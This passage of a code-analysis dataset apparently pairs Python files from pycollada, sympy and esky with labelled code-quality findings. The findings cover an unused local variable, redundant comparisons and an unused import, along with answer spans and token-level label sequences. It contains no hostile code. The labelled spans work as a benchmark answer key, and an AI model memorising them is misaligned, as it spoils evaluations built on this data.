query_name
stringlengths
13
55
code_file_path
stringlengths
14
194
context_blocks
list
answer_spans
list
supporting_fact_spans
list
example_type
int8
0
1
single_hop
bool
2 classes
subtokenized_input_sequence
list
label_sequence
list
Unused local variable
pycollada/pycollada/collada/geometry.py
[ { "content": " @staticmethod\n def load( collada, localscope, node ):\n id = node.get(\"id\") or \"\"\n name = node.get(\"name\") or \"\"\n meshnode = node.find(tag('mesh'))\n if meshnode is None: raise DaeUnsupportedError('Unknown geometry node')\n sourcebyid = {}\n sources = []\n sourcenodes = node.findall('%s/%s'%(tag('mesh'), tag('source')))\n for sourcenode in sourcenodes:\n ch = source.Source.load(collada, {}, sourcenode)\n sources.append(ch)\n sourcebyid[ch.id] = ch\n\n verticesnode = meshnode.find(tag('vertices'))\n if verticesnode is None:\n vertexsource = None\n else:\n inputnodes = {}\n for inputnode in verticesnode.findall(tag('input')):\n semantic = inputnode.get('semantic')\n inputsource = inputnode.get('source')\n if not semantic or not inputsource or not inputsource.startswith('#'):\n raise DaeIncompleteError('Bad input definition inside vertices')\n inputnodes[semantic] = sourcebyid.get(inputsource[1:])\n if (not verticesnode.get('id') or len(inputnodes)==0 or\n not 'POSITION' in inputnodes):\n raise DaeIncompleteError('Bad vertices definition in mesh')\n sourcebyid[verticesnode.get('id')] = inputnodes\n vertexsource = verticesnode.get('id')\n\n double_sided_node = node.find('.//%s//%s' % (tag('extra'), tag('double_sided')))\n double_sided = False\n if double_sided_node is not None and double_sided_node.text is not None:\n try:\n val = int(double_sided_node.text)\n if val == 1:\n double_sided = True\n except ValueError: pass\n\n _primitives = []\n for subnode in meshnode:\n if subnode.tag == tag('polylist'):\n _primitives.append( polylist.Polylist.load( collada, sourcebyid, subnode ) )\n elif subnode.tag == tag('triangles'):\n _primitives.append( triangleset.TriangleSet.load( collada, sourcebyid, subnode ) )\n elif subnode.tag == tag('lines'):\n _primitives.append( lineset.LineSet.load( collada, sourcebyid, subnode ) )\n elif subnode.tag == tag('polygons'):\n _primitives.append( polygons.Polygons.load( collada, sourcebyid, subnode ) )\n elif subnode.tag != tag('source') and subnode.tag != tag('vertices') and subnode.tag != tag('extra'):\n raise DaeUnsupportedError('Unknown geometry tag %s' % subnode.tag)\n geom = Geometry(collada, id, name, sourcebyid, _primitives, xmlnode=node, double_sided=double_sided )\n return geom", "metadata": "root.Geometry.load", "header": "['class', 'Geometry', '(', 'DaeObject', ')', ':', '___EOS___']", "index": 169 } ]
[ { "span": "vertexsource ", "start_line": 185, "start_column": 12, "end_line": 185, "end_column": 24 }, { "span": "vertexsource ", "start_line": 198, "start_column": 12, "end_line": 198, "end_column": 24 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Geometry_", "(_", "Da", "e", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "load_", "(_", "colla", "da_", ",_", "locals", "cope", "_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "node_", "._", "get_", "(_", "\"", "id", "\"_", ")_", "or_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "node_", "._", "get_", "(_", "\"", "name", "\"_", ")_", "or_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mesh", "node_", "=_", "node_", "._", "find_", "(_", "tag_", "(_", "'", "mesh", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mesh", "node_", "is_", "None_", ":_", "raise_", "Da", "e", "Unsu", "ppo", "rted", "Error_", "(_", "'", "Un", "know", "n", " ", "geom", "etry", " ", "node", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source", "by", "id_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source", "nodes_", "=_", "node_", "._", "findall_", "(_", "'%", "s", "/", "%", "s", "'_", "%_", "(_", "tag_", "(_", "'", "mesh", "'_", ")_", ",_", "tag_", "(_", "'", "source", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "source", "node_", "in_", "source", "nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ch_", "=_", "source_", "._", "Source_", "._", "load_", "(_", "colla", "da_", ",_", "{_", "}_", ",_", "source", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sources_", "._", "append_", "(_", "ch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source", "by", "id_", "[_", "ch_", "._", "id_", "]_", "=_", "ch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "vertice", "sno", "de_", "=_", "mesh", "node_", "._", "find_", "(_", "tag_", "(_", "'", "vertice", "s", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "vertice", "sno", "de_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vertex", "source_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "nodes_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "input", "node_", "in_", "vertice", "sno", "de_", "._", "findall_", "(_", "tag_", "(_", "'", "input", "'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sema", "ntic", "_", "=_", "input", "node_", "._", "get_", "(_", "'", "sema", "ntic", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inputs", "ource_", "=_", "input", "node_", "._", "get_", "(_", "'", "source", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "sema", "ntic", "_", "or_", "not_", "inputs", "ource_", "or_", "not_", "inputs", "ource_", "._", "startswith_", "(_", "'#'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Da", "e", "Incomp", "lete", "Error_", "(_", "'", "Ba", "d", " ", "input", " ", "definit", "ion", " ", "insi", "de", " ", "vertice", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "input", "nodes_", "[_", "sema", "ntic", "_", "]_", "=_", "source", "by", "id_", "._", "get_", "(_", "inputs", "ource_", "[_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "not_", "vertice", "sno", "de_", "._", "get_", "(_", "'", "id", "'_", ")_", "or_", "len_", "(_", "input", "nodes_", ")_", "==_", "0_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "'", "POSITION", "'_", "in_", "input", "nodes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Da", "e", "Incomp", "lete", "Error_", "(_", "'", "Ba", "d", " ", "vertice", "s", " ", "definit", "ion", " ", "in", " ", "mesh", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "source", "by", "id_", "[_", "vertice", "sno", "de_", "._", "get_", "(_", "'", "id", "'_", ")_", "]_", "=_", "input", "nodes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vertex", "source_", "=_", "vertice", "sno", "de_", "._", "get_", "(_", "'", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "double", "\\u", "side", "d\\u", "node_", "=_", "node_", "._", "find_", "(_", "'./", "/", "%", "s", "//", "%", "s", "'_", "%_", "(_", "tag_", "(_", "'", "extra", "'_", ")_", ",_", "tag_", "(_", "'", "double", "\\u", "side", "d", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "double", "\\u", "side", "d_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "double", "\\u", "side", "d\\u", "node_", "is_", "not_", "None_", "and_", "double", "\\u", "side", "d\\u", "node_", "._", "text_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "val_", "=_", "int_", "(_", "double", "\\u", "side", "d\\u", "node_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "val_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "double", "\\u", "side", "d_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "primitives_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "subnode", "_", "in_", "mesh", "node_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "subnode", "_", "._", "tag_", "==_", "tag_", "(_", "'", "poly", "list", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "primitives_", "._", "append_", "(_", "poly", "list_", "._", "Poly", "list_", "._", "load_", "(_", "colla", "da_", ",_", "source", "by", "id_", ",_", "subnode", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "subnode", "_", "._", "tag_", "==_", "tag_", "(_", "'", "triangle", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "primitives_", "._", "append_", "(_", "triangle", "set_", "._", "Triangle", "Set_", "._", "load_", "(_", "colla", "da_", ",_", "source", "by", "id_", ",_", "subnode", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "subnode", "_", "._", "tag_", "==_", "tag_", "(_", "'", "lines", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "primitives_", "._", "append_", "(_", "lines", "et_", "._", "Line", "Set_", "._", "load_", "(_", "colla", "da_", ",_", "source", "by", "id_", ",_", "subnode", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "subnode", "_", "._", "tag_", "==_", "tag_", "(_", "'", "polygons", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "primitives_", "._", "append_", "(_", "polygons_", "._", "Polygon", "s_", "._", "load_", "(_", "colla", "da_", ",_", "source", "by", "id_", ",_", "subnode", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "subnode", "_", "._", "tag_", "!=_", "tag_", "(_", "'", "source", "'_", ")_", "and_", "subnode", "_", "._", "tag_", "!=_", "tag_", "(_", "'", "vertice", "s", "'_", ")_", "and_", "subnode", "_", "._", "tag_", "!=_", "tag_", "(_", "'", "extra", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Da", "e", "Unsu", "ppo", "rted", "Error_", "(_", "'", "Un", "know", "n", " ", "geom", "etry", " ", "tag", " ", "%", "s", "'_", "%_", "subnode", "_", "._", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "geom_", "=_", "Geometry_", "(_", "colla", "da_", ",_", "id_", ",_", "name_", ",_", "source", "by", "id_", ",_", "\\u", "primitives_", ",_", "xml", "node_", "=_", "node_", ",_", "double", "\\u", "side", "d_", "=_", "double", "\\u", "side", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "geom_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Redundant comparison
sympy/sympy/sympy/core/tests/test_equal.py
[ { "content": "def test_equal():\n b = Symbol(\"b\")\n a = Symbol(\"a\")\n e1 = a + b\n e2 = 2*a*b\n e3 = a**3*b**2\n e4 = a*b + b*a\n assert not e1 == e2\n assert not e1 == e2\n assert e1 != e2\n assert e2 == e4\n assert e2 != e3\n assert not e2 == e3\n\n x = Symbol(\"x\")\n e1 = exp(x + 1/x)\n y = Symbol(\"x\")\n e2 = exp(y + 1/y)\n assert e1 == e2\n assert not e1 != e2\n y = Symbol(\"y\")\n e2 = exp(y + 1/y)\n assert not e1 == e2\n assert e1 != e2\n\n e5 = Rational(3) + 2*x - x - x\n assert e5 == 3\n assert 3 == e5\n assert e5 != 4\n assert 4 != e5\n assert e5 != 3 + x\n assert 3 + x != e5", "metadata": "root.test_equal", "header": "['module', '___EOS___']", "index": 3 }, { "content": "def test_cmp_bug1():\n class T(object):\n pass\n\n t = T()\n x = Symbol(\"x\")\n\n assert not (x == t)\n assert (x != t)", "metadata": "root.test_cmp_bug1", "header": "['module', '___EOS___']", "index": 44 } ]
[ { "span": "e1 == e2", "start_line": 11, "start_column": 15, "end_line": 11, "end_column": 23 }, { "span": "e1 != e2", "start_line": 12, "start_column": 11, "end_line": 12, "end_column": 19 }, { "span": "e2 == e3", "start_line": 15, "start_column": 15, "end_line": 15, "end_column": 23 }, { "span": "e1 != e2", "start_line": 22, "start_column": 15, "end_line": 22, "end_column": 23 }, { "span": "e1 != e2", "start_line": 26, "start_column": 11, "end_line": 26, "end_column": 19 }, { "span": "3 == e5", "start_line": 30, "start_column": 11, "end_line": 30, "end_column": 18 }, { "span": "3 + x != e5", "start_line": 34, "start_column": 11, "end_line": 34, "end_column": 22 }, { "span": "x != t)", "start_line": 52, "start_column": 12, "end_line": 52, "end_column": 18 } ]
[ { "span": "not e1 == e2", "start_line": 10, "start_column": 11, "end_line": 10, "end_column": 23 }, { "span": "e2 != e3", "start_line": 14, "start_column": 11, "end_line": 14, "end_column": 19 }, { "span": "e1 == e2", "start_line": 21, "start_column": 11, "end_line": 21, "end_column": 19 }, { "span": "not e1 == e2", "start_line": 25, "start_column": 11, "end_line": 25, "end_column": 23 }, { "span": "e5 == 3", "start_line": 29, "start_column": 11, "end_line": 29, "end_column": 18 }, { "span": "e5 != 3 + x", "start_line": 33, "start_column": 11, "end_line": 33, "end_column": 22 }, { "span": "not (x == t)", "start_line": 51, "start_column": 11, "end_line": 51, "end_column": 23 } ]
1
true
[ "[CLS]_", "Redu", "ndan", "t_", "comparison_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "equal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "=_", "Symbol_", "(_", "\"", "b", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "Symbol_", "(_", "\"", "a", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e1_", "=_", "a_", "+_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e2_", "=_", "2_", "*_", "a_", "*_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e3_", "=_", "a_", "**_", "3_", "*_", "b_", "**_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e4_", "=_", "a_", "*_", "b_", "+_", "b_", "*_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "e1_", "==_", "e2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "e1_", "==_", "e2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "e1_", "!=_", "e2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "e2_", "==_", "e4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "e2_", "!=_", "e3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "e2_", "==_", "e3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "Symbol_", "(_", "\"", "x", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e1_", "=_", "exp_", "(_", "x_", "+_", "1_", "/_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "Symbol_", "(_", "\"", "x", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e2_", "=_", "exp_", "(_", "y_", "+_", "1_", "/_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "e1_", "==_", "e2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "e1_", "!=_", "e2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "Symbol_", "(_", "\"", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e2_", "=_", "exp_", "(_", "y_", "+_", "1_", "/_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "e1_", "==_", "e2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "e1_", "!=_", "e2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "e5", "_", "=_", "Rational", "_", "(_", "3_", ")_", "+_", "2_", "*_", "x_", "-_", "x_", "-_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "e5", "_", "==_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "3_", "==_", "e5", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "e5", "_", "!=_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "4_", "!=_", "e5", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "e5", "_", "!=_", "3_", "+_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "3_", "+_", "x_", "!=_", "e5", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cmp", "\\u", "bug", "1_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "T_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "t_", "=_", "T_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "Symbol_", "(_", "\"", "x", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "not_", "(_", "x_", "==_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "x_", "!=_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 2, 2, 2, 0, 1, 1, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 2, 2, 2, 0, 1, 1, 2, 2 ]
Unused import
cloudmatrix/esky/esky/bdist_esky/__init__.py
[ { "content": "# Copyright (c) 2009-2010, Cloud Matrix Pty. Ltd.\n# All rights reserved; available under the terms of the BSD License.\n\"\"\"\n\n esky.bdist_esky: distutils command to freeze apps in esky format\n\nImporting this module makes \"bdist_esky\" available as a distutils command.\nThis command will freeze the given scripts and package them into a zipfile\nnamed with the application name, version and platform.\n\nThe main interface is the 'Esky' class, which represents a frozen app. An Esky\nmust be given the path to the top-level directory of the frozen app, and a\n'VersionFinder' object that it will use to search for updates.\n\"\"\"\n\nfrom __future__ import with_statement\n\n\nimport os\nimport sys\nimport shutil\nimport tempfile\nimport hashlib\nimport inspect\nimport json\nfrom glob import glob\n\nimport distutils.command\nfrom distutils.core import Command\nfrom distutils.util import convert_path\n\nimport esky.patch\nfrom esky.util import get_platform, create_zipfile, \\\n split_app_version, join_app_version, ESKY_CONTROL_DIR, \\\n ESKY_APPDATA_DIR, really_rmtree\n\nif sys.platform == \"win32\":\n from esky import winres\n from xml.dom import minidom\n\ntry:\n from esky.bdist_esky import pypyc\nexcept ImportError, e:\n pypyc = None\n PYPYC_ERROR = e\n COMPILED_BOOTSTRAP_CACHE = None\nelse:\n COMPILED_BOOTSTRAP_CACHE = os.path.dirname(__file__)\n if not os.path.isdir(COMPILED_BOOTSTRAP_CACHE):\n COMPILED_BOOTSTRAP_CACHE = None\n\n\n\n# setuptools likes to be imported before anything else that\n# might monkey-patch distutils. We don't actually use it,\n# this is just to avoid errors with cx_Freeze.\ntry:\n import setuptools\nexcept ImportError:\n pass\n\n\n_FREEZERS = {}\ntry:\n from esky.bdist_esky import f_py2exe\n _FREEZERS[\"py2exe\"] = f_py2exe\nexcept ImportError:\n _FREEZERS[\"py2exe\"] = None\ntry:\n from esky.bdist_esky import f_py2app\n _FREEZERS[\"py2app\"] = f_py2app\nexcept ImportError:\n _FREEZERS[\"py2app\"] = None\ntry:\n from esky.bdist_esky import f_bbfreeze\n _FREEZERS[\"bbfreeze\"] = f_bbfreeze\nexcept ImportError:\n _FREEZERS[\"bbfreeze\"] = None\ntry:\n from esky.bdist_esky import f_cxfreeze\n _FREEZERS[\"cxfreeze\"] = f_cxfreeze\n _FREEZERS[\"cx_Freeze\"] = f_cxfreeze\n _FREEZERS[\"cx_freeze\"] = f_cxfreeze\nexcept ImportError:\n _FREEZERS[\"cxfreeze\"] = None\n _FREEZERS[\"cx_Freeze\"] = None\n _FREEZERS[\"cx_freeze\"] = None\n\n\n\n\n\n\n\n\n\n# Monkey-patch distutils to include our commands by default.\ndistutils.command.__all__.append(\"bdist_esky\")\ndistutils.command.__all__.append(\"bdist_esky_patch\")\nsys.modules[\"distutils.command.bdist_esky\"] = sys.modules[\"esky.bdist_esky\"]\nsys.modules[\"distutils.command.bdist_esky_patch\"] = sys.modules[\"esky.bdist_esky\"]\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Executable(unicode):\n \"\"\"Class to hold information about a specific executable.\n\n This class provides a uniform way to specify extra meta-data about\n a frozen executable. By setting various keyword arguments, you can\n specify e.g. the icon, and whether it is a gui-only script.\n\n Some freezer modules require all items in the \"scripts\" argument to\n be strings naming real files. This is therefore a subclass of unicode,\n and if it refers only to in-memory code then its string value will be\n the path to this very file. I know it's ugly, but it works.\n \"\"\"\n\n\n\n", "metadata": "root.Executable", "header": "['module', '___EOS___']", "index": 89 }, { "content": " def __new__(cls,script,**kwds):\n if isinstance(script,basestring):\n return unicode.__new__(cls,script)\n else:\n return unicode.__new__(cls,__file__)", "metadata": "root.Executable.__new__", "header": "['class', 'Executable', '(', 'unicode', ')', ':', '___EOS___']", "index": 102 }, { "content": " def __init__(self,script,name=None,icon=None,gui_only=None,\n include_in_bootstrap_env=True,**kwds):\n unicode.__init__(self)\n if isinstance(script,Executable):\n script = script.script\n if name is None:\n name = script.name\n if gui_only is None:\n gui_only = script.gui_only\n if not isinstance(script,basestring):\n if name is None:\n raise TypeError(\"Must specify name if script is not a file\")\n self.script = script\n self.include_in_bootstrap_env = include_in_bootstrap_env\n self.icon = icon\n self._name = name\n self._gui_only = gui_only\n self._kwds = kwds", "metadata": "root.Executable.__init__", "header": "['class', 'Executable', '(', 'unicode', ')', ':', '___EOS___']", "index": 108 }, { "content": " @property\n def name(self):\n if self._name is not None:\n nm = self._name\n else:\n if not isinstance(self.script,basestring):\n raise TypeError(\"Must specify name if script is not a file\")\n nm = os.path.basename(self.script)\n if nm.endswith(\".py\"):\n nm = nm[:-3]\n elif nm.endswith(\".pyw\"):\n nm = nm[:-4]\n if sys.platform == \"win32\" and not nm.endswith(\".exe\"):\n nm += \".exe\"\n return nm", "metadata": "root.Executable.name", "header": "['class', 'Executable', '(', 'unicode', ')', ':', '___EOS___']", "index": 127 }, { "content": " @property\n def gui_only(self):\n if self._gui_only is None:\n if not isinstance(self.script,basestring):\n return False\n else:\n return self.script.endswith(\".pyw\")\n else:\n return self._gui_only", "metadata": "root.Executable.gui_only", "header": "['class', 'Executable', '(', 'unicode', ')', ':', '___EOS___']", "index": 143 }, { "content": "class bdist_esky(Command):\n \"\"\"Create a frozen application in 'esky' format.\n\n This distutils command can be used to freeze an application in the\n format expected by esky. It interprets the following standard \n distutils options:\n\n scripts: list of scripts to freeze as executables;\n to make a gui-only script, name it 'script.pyw'\n\n data_files: copied into the frozen app directory\n\n package_data: copied into library.zip alongside the module code\n\n To further customize the behaviour of the bdist_esky command, you can\n specify the following custom options:\n\n includes: a list of modules to explicitly include in the freeze\n\n excludes: a list of modules to explicitly exclude from the freeze\n\n freezer_module: name of freezer module to use; currently py2exe,\n py2app, bbfreeze and cx-freeze are supported.\n\n freezer_options: dict of options to pass through to the underlying\n freezer module.\n\n bootstrap_module: a custom module to use for esky bootstrapping;\n the default calls esky.bootstrap.bootstrap()\n\n bootstrap_code: a custom code string to use for esky bootstrapping;\n this precludes the use of the bootstrap_module option.\n If a non-string object is given, its source is taken\n using inspect.getsource().\n\n compile_bootstrap_exes: whether to compile the bootstrapping code to a\n stand-alone exe; this requires PyPy installed\n and the bootstrap code to be valid RPython.\n When false, the bootstrap env will use a\n trimmed-down copy of the 